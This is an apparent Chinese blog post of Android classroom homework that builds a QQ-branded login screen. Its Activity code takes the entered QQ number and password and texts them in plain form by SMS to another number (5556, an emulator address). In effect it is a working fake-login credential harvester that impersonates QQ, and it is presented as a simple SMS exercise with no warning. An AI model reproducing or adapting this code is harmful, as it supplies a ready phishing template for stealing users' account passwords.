Android之获取输入用户名与密码发送短信

Posted 冷的锋刃

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Android之获取输入用户名与密码发送短信相关的知识,希望对你有一定的参考价值。

打算不超过三天的时间我就要准备出发了,所以把之前的资料来个总结。

这都是在课堂上做过的作业。

好了,废话少说,直接上代码。

步骤:

1.设置单击事件
2.获取输入的QQ号码与密码
3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
5.发送QQ号码与密码

布局:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:gravity="center_horizontal"
        android:orientation="vertical"
        android:paddingBottom="@dimen/activity_vertical_margin"
        android:paddingLeft="@dimen/activity_horizontal_margin"
        android:paddingRight="@dimen/activity_horizontal_margin"
        android:paddingTop="@dimen/activity_vertical_margin"
        tools:context=".MainActivity" >

        <ImageView
            android:background="#09A3DC"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:src="@drawable/qq" />

        <!--输入QQ号码  -->
        <EditText
            android:id="@+id/et_qqNumber"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="20dp"
            android:hint="请输入qq号码:"
            android:inputType="numberSigned" />
        <!--输入QQ密码-->
        <EditText
            android:id="@+id/et_qqPassword"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="20dp"
            android:hint="请输入qq密码:"
            android:inputType="textPassword" />



        <Button 
               android:id="@+id/btn_login"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_marginTop="20dp"
            android:textColor="#ffffff"
            android:background="#09A3DC"
            android:text="登录"/>
    </LinearLayout>

Activity:

 public class MainActivity extends Activity {
         EditText et_qqNumber;
         EditText et_qqPassword;
         Button btn_login;
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
              et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);
              et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);
              btn_login=(Button) findViewById(R.id.btn_login);
              btn_login.setOnClickListener(new OnClickListener() {

                @Override
                public void onClick(View v) {
                    //2.获取输入的QQ号码与密码
                    String qq = et_qqNumber.getText().toString().trim();
                    String password = et_qqPassword.getText().toString().trim();
                     // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续
                    if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){
                        Toast.makeText(MainActivity.this, "QQ号码或者密码不能为空!", Toast.LENGTH_SHORT).show();
                        return ;
                    }
                    // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取
                    SmsManager manager = SmsManager.getDefault();
                    // 5.发送QQ号码与密码
                    String message="qq :"+qq+",pwd:"+password;

                    manager.sendTextMessage("5556", null, message, null, null);
                /*    
                     * 分离短信
                    ArrayList<String> divideMessage = manager.divideMessage(message);
                    for (String str : divideMessage) {
                        manager.sendTextMessage("5556", null, str, null, null);
                    }*/
                }
            });
        }



    }

以上是关于Android之获取输入用户名与密码发送短信的主要内容,如果未能解决你的问题,请参考以下文章

ASP.Net Identity 2 使用短信重置密码

小程序群发短信,借助云开发5行代码实现短信群发功能

Redis 应用场景之短信验证码

逻辑漏洞之任意账号密码重置总结

Android如何实现Android发送短信

android 模拟器实现发短信